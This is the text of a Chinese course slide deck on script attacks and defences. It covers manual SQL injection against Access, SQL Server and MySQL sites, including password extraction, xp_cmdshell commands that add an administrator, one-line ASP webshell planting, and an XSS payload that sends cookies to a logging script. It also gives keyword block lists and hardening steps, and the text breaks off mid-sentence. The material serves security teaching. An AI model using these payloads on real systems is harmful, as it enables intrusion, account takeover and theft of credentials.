《網(wǎng)絡(luò)攻擊與防御》課件第五章 腳本攻擊與防御_第1頁(yè)
《網(wǎng)絡(luò)攻擊與防御》課件第五章 腳本攻擊與防御_第2頁(yè)
《網(wǎng)絡(luò)攻擊與防御》課件第五章 腳本攻擊與防御_第3頁(yè)
《網(wǎng)絡(luò)攻擊與防御》課件第五章 腳本攻擊與防御_第4頁(yè)
《網(wǎng)絡(luò)攻擊與防御》課件第五章 腳本攻擊與防御_第5頁(yè)
已閱讀5頁(yè),還剩98頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

第五章腳本攻擊與防御一次完整的入侵PART1--實(shí)例分析SQL注入SQL注入攻擊現(xiàn)狀2012第二季度SQL注入攻擊增長(zhǎng)69%發(fā)表于2012-08-2416:47|2288次閱讀|來(lái)源infosecurity-magazine摘要:根據(jù)云安全供應(yīng)商FireHost的報(bào)告顯示,第一季度FireHost攔截的SQL注入式攻擊為277770次,第二季度的SQL注入攻擊為469983次。相比于2012年第一季度,第二季度的SQL注入攻擊上升了69%。SQL注入攻擊通過(guò)在URL提交的惡意文本命令竊取數(shù)據(jù)庫(kù)內(nèi)存儲(chǔ)的的數(shù)據(jù),如信用卡信息或用戶名、密碼等。缺陷編號(hào):WooYun-2012-09061漏洞標(biāo)題:金山毒霸官網(wǎng)嚴(yán)重高危安全漏洞(SQL注入、敏感信息泄漏、XSS攻擊、文件目錄遍歷、網(wǎng)站頁(yè)面?zhèn)浞菸募斡[)相關(guān)廠商:金山毒霸漏洞作者:小蝎提交時(shí)間:2012-06-30公開(kāi)時(shí)間:2012-08-14漏洞類型:SQL注射漏洞危害等級(jí):高自評(píng)Rank:20漏洞狀態(tài):廠商已經(jīng)確認(rèn)金山毒霸官網(wǎng)被發(fā)現(xiàn)SQL注入高危漏洞

SQL注入即是指攻擊者通過(guò)在應(yīng)用程序中預(yù)先定義好的查詢語(yǔ)句結(jié)尾加上額外的SQL語(yǔ)句元素,欺騙數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行非授權(quán)的任意查詢。1、什么是SQL注入技術(shù)?1.試探經(jīng)典的1=1、1=2測(cè)試法測(cè)試:①http://host/showdetail.asp?id=49②http://host/showdetail.asp?id=49and1=1③http://host/showdetail.asp?id=49and1=2SQL注入基礎(chǔ)(1)結(jié)論如何?可以注入的表現(xiàn):①正常顯示②正常顯示,內(nèi)容基本與①相同③提示BOF或EOF(程序沒(méi)做任何判斷時(shí))、或提示找不到記錄(判斷了rs.eof時(shí))、或顯示內(nèi)容為空(程序加了onerrorresumenext)不可以注入的表現(xiàn): ①同樣正常顯示 ②和③一般都會(huì)有程序定義的錯(cuò)誤提示,或提示類型轉(zhuǎn)換時(shí)出錯(cuò)。SQL注入基礎(chǔ)(2)2.判斷數(shù)據(jù)庫(kù)類型根據(jù)iis的錯(cuò)誤提示來(lái)判斷根據(jù)訪問(wèn)系統(tǒng)表的方式來(lái)判斷

SQL注入基礎(chǔ)(3)SQL注入基礎(chǔ)(4)根據(jù)iis的錯(cuò)誤提示來(lái)判斷(1)提交http://host/showdetail.asp?id=49’(單引號(hào))

,可能會(huì)出現(xiàn)的錯(cuò)誤提示信息:1、MicrosoftJETDatabaseEngine錯(cuò)誤'80040e14'字符串的語(yǔ)法錯(cuò)誤在查詢表達(dá)式'id=49''中。/onews.asp,行82、MicrosoftOLEDBProviderforODBCDrivers錯(cuò)誤'80040e14'[Microsoft][ODBCSQLServerDriver][SQLServer]字符串''之前有未閉合的引號(hào)。/onews.asp,行8ACCESSSQLSERVERSQL注入基礎(chǔ)(5)根據(jù)iis的錯(cuò)誤提示來(lái)判斷(2)。SQLServer有一些系統(tǒng)變量,SQLServer返回錯(cuò)誤提示的話,那可以直接從出錯(cuò)信息獲取,比如:

http://host/showdetail.asp?id=49anduser>0結(jié)果:user是SQLServer的一個(gè)內(nèi)置變量,它的值是當(dāng)前連接的用戶名,類型為nvarchar。拿一個(gè)nvarchar的值跟int的數(shù)0比較,系統(tǒng)會(huì)先試圖將nvarchar的值轉(zhuǎn)成int型,轉(zhuǎn)的過(guò)程中肯定會(huì)出錯(cuò),SQLServer的出錯(cuò)提示是:將nvarchar值“abc”轉(zhuǎn)換數(shù)據(jù)類型為int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤,“abc”正是變量user的值。SQL注入基礎(chǔ)(6)根據(jù)訪問(wèn)系統(tǒng)表的方式來(lái)判斷。Access和SQLServer都有自己的系統(tǒng)表,用于存放數(shù)據(jù)庫(kù)中所有對(duì)象的表;Access的系統(tǒng)表[msysobjects],但在Web環(huán)境下讀該表會(huì)提示“沒(méi)有權(quán)限”;SQLServer的系統(tǒng)表[sysobjects],在Web環(huán)境下可正常讀取。

SQL注入基礎(chǔ)(7)在確認(rèn)可以注入的情況下,使用下面的語(yǔ)句:

http://host/showdetail.asp?id=49and(selectcount(*)fromsysobjects)>0

分析:1)如果頁(yè)面顯示出錯(cuò),則表明是Access數(shù)據(jù)庫(kù)2)如果頁(yè)面顯示正常,則表明是SQLServer數(shù)據(jù)庫(kù)QA:如果訪問(wèn)http://host/showdetail.asp?id=49and(selectcount(*)frommsysobjects)>0出現(xiàn)正常的頁(yè)面,則說(shuō)明后臺(tái)數(shù)據(jù)庫(kù)是ACCESSSQL注入基礎(chǔ)(8)3.根據(jù)注入?yún)?shù)類型,構(gòu)造注入?yún)?shù)(A)

ID=49這類注入的參數(shù)是數(shù)字型,SQL語(yǔ)句原貌大致如下:

Select*from表名where字段=49

注入的參數(shù)為ID=49And[查詢條件],即是生成語(yǔ)句:

Select*from表名where字段=49And[查詢條件]

(B)Class=連續(xù)劇這類注入的參數(shù)是字符型,SQL語(yǔ)句原貌大致概如下:

Select*from表名where字段=’連續(xù)劇’

注入的參數(shù)為Class=連續(xù)劇’

and[查詢條件]and‘’=’,即是生成語(yǔ)句:

Select*from表名where字段=’連續(xù)劇’

and[查詢條件]and‘’=’’

(C)搜索時(shí)沒(méi)過(guò)濾參數(shù)的,如keyword=關(guān)鍵字,SQL語(yǔ)句原貌大致如下:

Select*from表名where字段like’%關(guān)鍵字%’

注入的參數(shù)為keyword=’and[查詢條件]and‘%’=’,即是生成語(yǔ)句:

Select*from表名where字段like’%’and[查詢條件]and‘%’=’%’SQL注入基礎(chǔ)(9)針對(duì)數(shù)字型參數(shù)的注入探測(cè)連續(xù)劇’

and[查詢條件]and‘’=’Select*from表名where字段=’連續(xù)劇’連續(xù)劇Select*from表名where字段=’連續(xù)劇’

and[查詢條件] and‘’=’’4.構(gòu)造SQL語(yǔ)句猜解表名(經(jīng)典)

ID=49and(SelectCount(*)fromadmin)>=0

如果頁(yè)面與ID=49的相同,說(shuō)明附加條件成立,即表admin存在,反之,即不存在,可繼續(xù)構(gòu)造直到猜解成功。

根據(jù)常用的命名方式來(lái)猜測(cè)。SQL注入基礎(chǔ)(10)5.猜解字段

ID=49and(SelectCount(字段名)fromadmin)>=0

判斷依據(jù)同前。SQL注入基礎(chǔ)(11)6.猜解記錄經(jīng)典的ascii字符猜解and(selectasc(mid(password,1,1))fromadmin)>100SQL注入基礎(chǔ)(12)SQL注入常用函數(shù)Access:asc(字符)

MSSQL:unicode(字符)作用:返回某字符的ASCII碼Access:chr(數(shù)字)

MSSQL:nchar(數(shù)字)作用:與asc相反,根據(jù)ASCII碼返回字符Access:mid(字符串,N,L)

MSSQL:substring(字符串,N,L)作用:返回字符串從N個(gè)字符起長(zhǎng)度為L(zhǎng)的子字符串,即N到N+L之間的字符串Access:abc(數(shù)字)

MSSQL:abc(數(shù)字)作用:返回?cái)?shù)字的絕對(duì)值(在猜解漢字的時(shí)候會(huì)用到)Access:AbetweenBAndC

MSSQL:AbetweenBAndC作用:判斷A是否界于B與C之間2、Access數(shù)據(jù)庫(kù)的注入注入方法手工注入工具注入啊D注入HDSINBSI……看這段源碼<%owen=request("id")

Setrsnews=Server.CreateObject("ADODB.RecordSet")sql="updatenewssethits=hits+1whereid="&cstr(request("id"))conn.executesqlsql="select*fromnewswhereid="&owenrsnews.Opensql,conn,1,1title=rsnews("title")ifrsnews.eofandrsnews.bofthenresponse.Write("數(shù)據(jù)庫(kù)出錯(cuò)")else%>分析提交的注入語(yǔ)句STEP4:提交ID=49and(SelectCount(*)fromadmin)>=0提交到數(shù)據(jù)庫(kù)執(zhí)行的SQL語(yǔ)句變成這樣:select*fromnewswhereid=49and(SelectCount(*)fromadmin)>=0總結(jié)注入步驟:探測(cè)判斷數(shù)據(jù)庫(kù)類型根據(jù)參數(shù)類型構(gòu)造注入語(yǔ)句猜解表名猜解字段名猜解記錄尋找后臺(tái)登陸課堂練習(xí)<%owen=request("id")

Setrsnews=Server.CreateObject("ADODB.RecordSet")sql=“updatenewssethits=hits+1whereid='"&cstr(request("id"))

&"'conn.executesqlsql="select*fromnewswhereid='"&owen&"'rsnews.Opensql,conn,1,1title=rsnews("title")ifrsnews.eofandrsnews.bofthenresponse.Write("數(shù)據(jù)庫(kù)出錯(cuò)")else%>Q&A防止SQL注入(1)在服務(wù)端正式處理之前對(duì)提交數(shù)據(jù)的合法性進(jìn)行檢查;(2)封裝客戶端提交信息;(3)替換或刪除敏感字符/字符串;(4)屏蔽出錯(cuò)信息。第一種方法DimTc_Post,Tc_Get,Tc_In,Tc_Inf,Tc_Xh '定義需要過(guò)濾的字串Tc_In="'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|or|char|declare"Tc_Inf=split(Tc_In,"|")'處理post數(shù)據(jù)IfRequest.Form<>""ThenForEachTc_PostInRequest.FormForTc_Xh=0ToUbound(Tc_Inf)IfInstr(LCase(Request.Form(Tc_Post)),Tc_Inf(Tc_Xh))<>0ThenResponse.Write"<ScriptLanguage=JavaScript>alert('請(qǐng)不要在參數(shù)中包含非法字符嘗試注入!');</Script>"'處理get數(shù)據(jù)IfRequest.QueryString<>""ThenForEachTc_GetInRequest.QueryStringForTc_Xh=0ToUbound(Tc_Inf)IfInstr(LCase(Request.QueryString(Tc_Get)),Tc_Inf(Tc_Xh))<>0ThenResponse.Write"<ScriptLanguage=JavaScript>alert('請(qǐng)不要在參數(shù)中包含非法字符嘗試注入!');</Script>"3、SQLServer數(shù)據(jù)庫(kù)的注入1)、判斷帳號(hào)的權(quán)限帳戶有三種不同的權(quán)限:Sa權(quán)限、Db_owner權(quán)限、Public權(quán)限http://localhost/test/onews.asp?id=37;and

(selectcount(*)fromsysobjects)>0

and

1=(selectIS_SRVROLEMEMBER(’sysadmin’));--

如果返回正常的話就說(shuō)明數(shù)據(jù)庫(kù)連接帳戶是Sa權(quán)限and

1=(selectIS_MEMBER('db_owner'));--

如果返回正常的話就說(shuō)明數(shù)據(jù)庫(kù)連接帳戶就是db_owner權(quán)限SQLServer數(shù)據(jù)庫(kù)的注入2)、獲取web目錄讀取注冊(cè)表遍歷目錄法(1)讀取注冊(cè)表利用擴(kuò)展存儲(chǔ)過(guò)程xp_regread,只要有Public權(quán)限就可以運(yùn)行它。因?yàn)镮IS默認(rèn)的WEB路徑放在注冊(cè)表中,所以通過(guò)以下語(yǔ)句就可以讀取出來(lái):;Execmaster.dbo.xp_regreadHKEY_LOCAL_MACHINE,‘SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\’,‘/’(2)遍歷目錄法利用擴(kuò)展存儲(chǔ)過(guò)程xp_dirtree。通過(guò)它可以列出指定目錄下所有的子目錄和文件。這個(gè)擴(kuò)展存儲(chǔ)過(guò)程同樣只需要Public權(quán)限就可以運(yùn)行它,它有三個(gè)參數(shù),第一個(gè)參數(shù)是路徑,第二個(gè)是目錄深度,第三個(gè)表示是否列出文件。如果第三個(gè)參數(shù)為0,那么只列出目錄。(2)遍歷目錄法第一步先創(chuàng)建臨時(shí)表,把目標(biāo)盤(pán)下面的所有子目錄和文件信息全部插入到表中:

http://localhost/XXX.asp?id=1;CREATETABLEtmp([ID]intIDENTITY(1,1)NOTNULL,[name][nvarchar](300)NOTNULL,[depth][int]NOTNULL,[isfile][nvarchar](50)NULL);insertintotmpexecmaster..xp_dirtree‘d:\’,0,1第二步,直接測(cè)試D盤(pán)下是否有目標(biāo)文件“XXX.asp”,提交如下語(yǔ)句:

http://localhost/XXX.asp?id=1and(selectstr(id)%2b’@’%2bstr(depth)%2b’@’fromtmpwherename=’XXX.asp’andisfile=1)>0SQLServer數(shù)據(jù)庫(kù)的注入3)、獲取webshell所謂webshell就是一個(gè)asp或php木馬后門(mén),黑客在入侵了一個(gè)網(wǎng)站后,常常在將這些asp或php木馬后門(mén)文件放置在網(wǎng)站服務(wù)器的web目錄中,與正常的網(wǎng)頁(yè)文件混在一起。然后黑客就可以用web的方式,通過(guò)asp或php木馬后門(mén)控制網(wǎng)站服務(wù)器,包括上傳下載文件、查看數(shù)據(jù)庫(kù)、執(zhí)行任意程序命令等。webshell的優(yōu)點(diǎn)

webshell最大的優(yōu)點(diǎn)就是可以穿越防火墻,由于與被控制的服務(wù)器或遠(yuǎn)程主機(jī)交換的數(shù)據(jù)都是通過(guò)80端口傳遞的,因此不會(huì)被防火墻攔截。并且使用webshell一般不會(huì)在系統(tǒng)日志中留下記錄,只會(huì)在網(wǎng)站的web日志中留下一些數(shù)據(jù)提交記錄,沒(méi)有經(jīng)驗(yàn)的管理員是很難看出入侵痕跡的。SQLServer數(shù)據(jù)庫(kù)的注入4)、不同權(quán)限的賬戶進(jìn)行注入4.1)SA權(quán)限注入(1)添加數(shù)據(jù)庫(kù)賬戶news.asp?id=1;exec

master.dbo.sp_addlogintest,test;--//添加數(shù)據(jù)庫(kù)用戶test,密碼testnews.asp?id=1;execmaster.dbo.sp_addsrvrolemembertest,sysadmin;--//將test加到sysadmin組4.1)SA權(quán)限注入(2)添加系統(tǒng)用戶news.asp?id=1;execmaster.dbo.xp_cmdshell'netusertesttest/add';--//添加系統(tǒng)用戶testnews.asp?id=1;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorstest/add';--//將系統(tǒng)用戶test提升為管理員4.1)SA權(quán)限注入(3)獲取webshell用echo命令上傳一句話木馬到web目錄下。news.asp?id=1;execmaster.dbo.xp_cmdshell‘echo^<^%evalrequest(chr(35))%^>^>D:\WEB\tc.asp’;--4.2)DB_OWNER權(quán)限注入通過(guò)備份數(shù)據(jù)庫(kù)來(lái)獲得webshell。原因:因?yàn)閍sp.dll處理ASP文件的時(shí)候,以“<%”為開(kāi)頭,“%>”標(biāo)記為結(jié)尾的語(yǔ)句都會(huì)當(dāng)作ASP語(yǔ)句執(zhí)行。如果先在數(shù)據(jù)庫(kù)之中插入構(gòu)造的ASP木馬語(yǔ)句,然后再把數(shù)據(jù)庫(kù)備份到磁盤(pán),命名為“a.asp”,就可以得到webshell了。采用增量備份的方法,語(yǔ)句如下:Createtablecmd(aimage)Backupdatabasedatatodisk=’E:\www\wwwroot\tc.bak’withinitinsertintocmd(a)value(‘<%executerequest(“1")%>’)Backupdatabasedatatodisk=’E:\www\wwwroot\shell.asp’withDIFFERENTIAL保護(hù)好SQLServer數(shù)據(jù)庫(kù)在數(shù)據(jù)沒(méi)有經(jīng)過(guò)服務(wù)器處理之前就進(jìn)行嚴(yán)格的檢查刪除掉擴(kuò)展存儲(chǔ)usemasterEXECsp_dropextendedproc'xp_cmdshell'EXECsp_dropextendedproc'Sp_OACreate'EXECsp_dropextendedproc'Sp_OADestroy'EXECsp_dropextendedproc'Sp_OAGetErrorInfo'EXECsp_dropextendedproc'Sp_OAGetProperty'EXECsp_dropextendedproc'Sp_OAMethod'EXECsp_dropextendedproc'Sp_OASetProperty'EXECsp_dropextendedproc'Sp_OAStop'EXECsp_dropextendedproc'Xp_regaddmultistring'EXECsp_dropextendedproc'Xp_regdeletekey'EXECsp_dropextendedproc'Xp_regdeletevalue'EXECsp_dropextendedproc'Xp_regenumvalues'EXECsp_dropextendedproc'Xp_regread'EXECsp_dropextendedproc'Xp_regremovemultistring'EXECsp_dropextendedproc'Xp_regwrite'dropproceduresp_makewebtask刪除掉所對(duì)應(yīng)的dll文件,xplog70.dll盡量不采用SA權(quán)限連接數(shù)據(jù)庫(kù)4PHP注入試探環(huán)境探測(cè)構(gòu)造注入語(yǔ)句分析源碼<?php

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="injection";mysql_connect($servername,$dbusername,$dbpassword)ordie("數(shù)據(jù)庫(kù)連接失敗");$sql="SELECT*FROMarticleWHEREarticleid='$id'";

$result=mysql_db_query($dbname,$sql);

$row=mysql_fetch_array($result);if(!$row)

{

echo"該記錄不存在";

echo"<p>SQLQuery:$sql<p>";

exit;

}echo"title<br>".$row[title]."<p>n";

echo"content<br>".$row[content]."<p>n";

echo"<p>SQLQuery:$sql<p>";

?>Id參數(shù)未過(guò)濾環(huán)境探測(cè)是否支持”--“注釋法,如果支持那么就是3.23.3及以上版本,提交:

http://localhost/user.php?username=abc--test利用order轉(zhuǎn)換判斷版本,提交:

http://localhost/user.php?username=abcandord(mid(version(),1,1))>51/*

返回正常頁(yè)面說(shuō)明是4.0.0及其以上版本。聯(lián)合查詢功能。如果version>4,可以使用聯(lián)合查詢來(lái)獲得精確的版本號(hào),提交:

http://localhost/user.php?username=abc’unionselect1,version(),3/*UNIONUNION后面查選的字段數(shù)量、字段類型都應(yīng)該與前面的SELECT一樣如果前面的SELECT為真,就同時(shí)返回兩個(gè)SELECT的結(jié)果當(dāng)前面的SELECT為假,就會(huì)返回第二個(gè)SELECT所得的結(jié)果,某些情況會(huì)替換掉在第一個(gè)SELECT原來(lái)應(yīng)該顯示的字段。實(shí)例如下圖所示。實(shí)例講解PHP注入(1)1.試探經(jīng)典的’、1=1、1=2測(cè)試法測(cè)試:①http://host/showdetail.php?id=1’②http://host/showdetail.php?id=1and1=1③http://host/showdetail.php?id=1and1=2實(shí)例講解PHP注入(2)2.環(huán)境探測(cè)http://host/showdetail.php?id=1andord(mid(version(),1,1))>51/*

返回正常說(shuō)明MySQL是4.0以上版本,支持union查詢實(shí)例講解PHP注入(3)3.確定字段個(gè)數(shù)http://host/showdetail.php?id=1orderby4/*如果返回正常說(shuō)明字段大于等于4個(gè)實(shí)例講解PHP注入(4)4.判斷精確字段http://host/showdetail.php?id=1and1=2unionselect1,2,3,4/*如返回正常,則說(shuō)明準(zhǔn)確字段數(shù)為4個(gè),并且可以確定字段在頁(yè)面上的顯示位置。實(shí)例講解PHP注入(5)5.爆數(shù)據(jù)庫(kù)名字、連接賬號(hào)信息http://host/showdetail.php?id=1and1=2unionselect1,user(),3,database()在字段2位置顯示連接賬號(hào)信息,字段4位置顯示數(shù)據(jù)庫(kù)名字信息實(shí)例講解PHP注入(6)6.爆表http://host/showdetail.php?id=1and1=2unionselect1,TABLE_NAME,3,4frominformation_schema.TABLESwhereTABLE_SCHEMA=0x6D6F766965696E666F(數(shù)據(jù)庫(kù)的16進(jìn)制編碼)

limit0,1/*在字段2位置顯示數(shù)據(jù)庫(kù)的第一個(gè)表的名字實(shí)例講解PHP注入(7)7.暴字段http://host/showdetail.php?id=1and1=2unionselect1,COLUMN_NAME,3,4frominformation_schema.COLUMNSwhereTABLE_NAME=表的16進(jìn)制編碼limit0,1/*在字段2位置顯示所選表的第一個(gè)字段名字實(shí)例講解PHP注入(8)8.暴數(shù)據(jù)http://host/showdetail.php?id=1and1=2unionselect1,name,3,passwordfromweb.ad_userlimit0,1/*在字段2位置顯示name字段的第一條記錄,字段4位置顯示password字段的第一條記錄小結(jié)手工注入工具注入穿山甲HDSINBSI......防御(1)1、打開(kāi)magic_quotes_gpc或使用addslashes()函數(shù)防御(1)PHP防范SQL注入的代碼//

去除轉(zhuǎn)義字符function

stripslashes_array($array)

{

if

(is_array($array))

{

foreach

($array

as

$k

=>

$v)

{

$array[$k]

=

stripslashes_array($v);

}

}

else

if

(is_string($array))

{

$array

=

stripslashes($array);

}

return

$array;

}

@set_magic_quotes_runtime(0);

判斷

magic_quotes_gpc

狀態(tài)

if

(@get_magic_quotes_gpc())

{

$_GET

=

stripslashes_array($_GET);

$_POST

=

stripslashes_array($_POST);

$_COOKIE

=

stripslashes_array($_COOKIE);

}

防御(1)去除magic_quotes_gpc的轉(zhuǎn)義之后再使用addslashes函數(shù),代碼如下:

PHP防范SQL注入的代碼

$keywords

=

addslashes($keywords);

$keywords

=

str_replace(“_”,“\_”,$keywords);//轉(zhuǎn)義掉“_”

$keywords

=

str_replace(“%”,“\%”,$keywords);//轉(zhuǎn)義掉“%”

后兩個(gè)str_replace替換轉(zhuǎn)義目的是防止黑客轉(zhuǎn)換SQL編碼進(jìn)行攻擊。防御(2)2、強(qiáng)制字符格式(類型)

在很多時(shí)候我們要用到類似xxx.php?id=xxx這樣的URL,一般來(lái)說(shuō)$id都是整型變量,為了防范攻擊者把$id篡改成攻擊語(yǔ)句,我們要盡量強(qiáng)制變量,代碼如下:PHP防范SQL注入的代碼

$id=intval($_GET[‘id’]);

當(dāng)然,還有其他的變量類型,如果有必要的話盡量強(qiáng)制一下格式。防御(3)3、SQL語(yǔ)句中包含變量加引號(hào)

這一點(diǎn)兒很簡(jiǎn)單,但也容易養(yǎng)成習(xí)慣,先來(lái)看看這兩條SQL語(yǔ)句:

SELECT

*

FROM

article

WHERE

articleid='$id'

SELECT

*

FROM

article

WHERE

articleid=$id

兩種寫(xiě)法在各種程序中都很普遍,但安全性是不同的,第一句由于把變量$id放在一對(duì)單引號(hào)中,這樣使得我們所提交的變量都變成了字符串,即使包含了正確的SQL語(yǔ)句,也不會(huì)正常執(zhí)行,而第二句不同,由于沒(méi)有把變量放進(jìn)單引號(hào)中,那我們所提交的一切,只要包含空格,那空格后的變量都會(huì)作為SQL語(yǔ)句執(zhí)行,因此,我們要養(yǎng)成給SQL語(yǔ)句中變量加引號(hào)的習(xí)慣。防御(4)4、URL偽靜態(tài)化

URL偽靜態(tài)化也就是URL重寫(xiě)技術(shù),像Discuz!一樣,將所有的URL都rewrite成類似xxx-xxx-x.html格式,既有利于SEO,又達(dá)到了一定的安全性,也不失為一個(gè)好辦法。但要想實(shí)現(xiàn)PHP防范SQL注入,前提是你得有一定的“正則”基礎(chǔ)。PART2—跨站腳本攻擊技術(shù)什么是跨站腳本攻擊? 跨站腳本攻擊(XSS,又稱作CSS)指的是惡意攻擊者向Web頁(yè)面里插入惡意html代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web頁(yè)面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。屬于被動(dòng)攻擊。數(shù)據(jù)流程:

惡意用戶的Html輸入—>web程序—>進(jìn)入數(shù)據(jù)庫(kù)—>web程序—>用戶瀏覽器跨站Script攻擊方式動(dòng)態(tài)輸入大致有四種形式:URL參數(shù)表格元素Cookie數(shù)據(jù)請(qǐng)求javascript語(yǔ)言的知識(shí)

1:“alert()”:顯示信息對(duì)話框的alert()方法,它生成的是一個(gè)獨(dú)立的小窗口,稱作對(duì)話框,用來(lái)顯示一條信息和一個(gè)按鈕。2:“document.cookie”:我們?cè)谔幚韈ookie時(shí),javascript將它保存為document對(duì)象的一個(gè)屬性,其屬性名稱是cookie,利用這個(gè)屬性,我們可以創(chuàng)建和讀取cookie數(shù)據(jù),在程序中可以使用:“alert(document.cookie)”調(diào)用當(dāng)前頁(yè)面的cookie數(shù)據(jù)項(xiàng)值.在我們啟動(dòng)瀏覽器打開(kāi)頁(yè)面后,如果存在相應(yīng)的cookie,那么它被裝入到document對(duì)象的cookie屬性中,document.cookie屬性采用name=value對(duì)應(yīng)方式保存各個(gè)cookie數(shù)據(jù)項(xiàng)值.document(文檔)對(duì)象表示在瀏覽器里顯示的HTML(向頁(yè)面輸出數(shù)據(jù)),cookie屬性是允許讀寫(xiě)HTTP的cookie。3:escape()

:它將字符串中所有的非字母字符轉(zhuǎn)換為用字母數(shù)字表示的等價(jià)字符串,具有編碼字符串的功能.一般情況下,cookie通常由服務(wù)器端的程序通過(guò)HTTP請(qǐng)求和響應(yīng)頭發(fā)送給瀏覽器??缯維cript攻擊范例

1.Htm<formaction=tc.asp><inputtype=textname=asize=40><inputtype=submitvalue=提交></form>tc.asp<%str=request("a")response.writestr%>跨站盜取cookie

什么是cookie?Cookie,有時(shí)也用其復(fù)數(shù)形式Cookies,指某些網(wǎng)站為了辨別用戶身份、進(jìn)行session跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過(guò)加密)。Cookie是由服務(wù)器端生成,發(fā)送給User-Agent(一般是瀏覽器),瀏覽器會(huì)將Cookie的key/value保存到某個(gè)目錄下的文本文件內(nèi),下次請(qǐng)求同一網(wǎng)站時(shí)就發(fā)送該Cookie給服務(wù)器(前提是瀏覽器設(shè)置為啟用cookie)。作用:服務(wù)器可以利用Cookies包含信息的任意性來(lái)篩選并經(jīng)常性維護(hù)這些信息,以判斷在HTTP傳輸中的狀態(tài)。Logtc.asp<HTML><HEAD><%Ifrequest("login")="login"Then name=request("name")liuyan=request("liuyan")Response.Cookies("VisitorName")=Request.Form("name")EndIf%></HEAD><BODY><formaction="logtc.asp"method="post"><TABLEborder="1"width="52%"id="table1"cellpadding="0"><TR> <TD>用戶名</TD> <TD><inputtype="text"name="name"size="20"></TD></TR><TR> <TD>留言</TD> <TD><inputtype="text"name="liuyan"size="60"></TD></TR><tr><td><inputtype="submit"name="submit"value="提交"></td></tr><inputtype="hidden"name="login"value="login"><TR> <TD><%Response.write(name)%></TD> <TD><%Response.write(liuyan)%></TD></TR></TABLE></form></BODY></HTML>tc2.asp<%a=Request.ServerVariables("QUERY_STRING")testfile=Server.MapPath("cookie.txt")setfs=server.CreateObject("scripting.filesystemobject")setthisfile=fs.OpenTextFile(testfile,8,True,0)thisfile.Writeline(""&a&"")thisfile.closesetfs=nothing%>實(shí)例演示:Logtc.asp;tc2.asp輸入:<script>alert(document.cookie)</script>輸入:<script>window.open('http://localhost/test/test2/tc2.asp?msg='+document.cookie)</script>跨站腳本攻擊的突破和限制1.首先提交<script>alert(“testforXSS”)</script>

,能彈出窗口,說(shuō)明跨站攻擊成功。解決方案1:過(guò)濾用戶提交的變量中的<和>,轉(zhuǎn)換成16進(jìn)制

str=replace(str,"<","<") str=replace(str,">",">")2.測(cè)試:javascript:alert("饒過(guò)第一個(gè)限制!")解決方案2:替換“:”為“:”

str=replace(str,":",":")3.測(cè)試:javascript:alert(“饒過(guò)第二個(gè)限制!”),:是“:”的十進(jìn)制格式解決方案3:過(guò)濾ASC字符的轉(zhuǎn)換代碼“&” str=replace(str,"&","&")4.測(cè)試:#onerror=alert("再次饒過(guò)驗(yàn)證")解決方案4:破壞形成事件機(jī)制的條件,轉(zhuǎn)換掉提交過(guò)來(lái)的空格字符

str=replace(str,""," ")測(cè)試用例:1.htm,tc3.asp1.htm<formaction=tc3.asp><inputtype=textname=asize=40><inputtype=submitvalue=提交></form>tc3.asp<%str=request("a")str=replace(str,"<","<")str=replace(str,">",">")str=replace(str,":",":")str=replace(str,"&","&")str=replace(str,""," ")response.writestrresponse.write"<br>"response.write"<imgsrc="&str&"></img>"%>PART3—利用cookie攻擊cookie的種類(1)Cookie因生命周期不同,功能不同可分為7種類型:1.sessioncookie當(dāng)cookie沒(méi)有設(shè)置超時(shí)時(shí)間,那么cookie會(huì)在瀏覽器退出時(shí)銷毀,這種cookie是sessioncookie。2.persistentcookie/trackingcookie設(shè)置了超時(shí)時(shí)間的cookie,會(huì)在指定時(shí)間銷毀,cookie的維持時(shí)間可以持續(xù)到瀏覽器退出之后,這種cookie被持久化在瀏覽器中。很多站點(diǎn)用cookie跟蹤用戶的歷史記錄,例如廣告類站點(diǎn)會(huì)使用cookie記錄瀏覽過(guò)哪些內(nèi)容,搜索引擎會(huì)使用cookie記錄歷史搜索記錄,這時(shí)也可以稱作trackingcookie,因?yàn)樗挥糜谧粉櫽脩粜袨椤?.securecookie服務(wù)器端設(shè)置cookie的時(shí)候,可以指定secure屬性,這時(shí)cookie只有通過(guò)https協(xié)議傳輸?shù)臅r(shí)候才會(huì)帶到網(wǎng)絡(luò)請(qǐng)求中,不加密的http請(qǐng)求不會(huì)帶有securecookie。設(shè)置securecookie的方式舉例:Set-Cookie:foo=bar;Path=/;Securecookie的種類(2)4.HttpOnlycookie服務(wù)器端設(shè)置cookie的時(shí)候,也可以指定一個(gè)HttpOnly屬性。Set-Cookie:foo=bar;Path=/;HttpOnly設(shè)置了這個(gè)屬性的cookie在javascript中無(wú)法獲取到,只會(huì)在網(wǎng)絡(luò)傳輸過(guò)程中帶到服務(wù)器。5.third-partycookie第三方cookie的使用場(chǎng)景通常是iframe,例如潛入了一個(gè)的廣告iframe,那么設(shè)置的cookie不屬于,被稱作第三方cookie。cookie的種類(3)6.supercookiecookie會(huì)從屬于一個(gè)域名,例如,或者屬于一個(gè)子域,例如。但是如果cookie被聲明為屬于.com會(huì)發(fā)生什么?這個(gè)cookie會(huì)在任何.com域名生效。這有很大的安全性問(wèn)題。這種cookie被稱作supercookie。瀏覽器做出了限制,不允許設(shè)置頂級(jí)域名cookie(例如.com,.net)和pubicsuffixcookie(例如.co.uk,.)。現(xiàn)代主流瀏覽器都很好的處理了supercookie問(wèn)題,但是如果有些第三方瀏覽器使用的頂級(jí)域名和publicsuffix列表有問(wèn)題,那么就可以針對(duì)supercookie進(jìn)行攻擊啦。7.zombiecookie/evercookie僵尸cookie是指當(dāng)用戶通過(guò)瀏覽器的設(shè)置清除cookie后可以自動(dòng)重新創(chuàng)建的cookie。原理是通過(guò)使用多重技術(shù)記錄同樣的內(nèi)容(例如flash,silverlight),當(d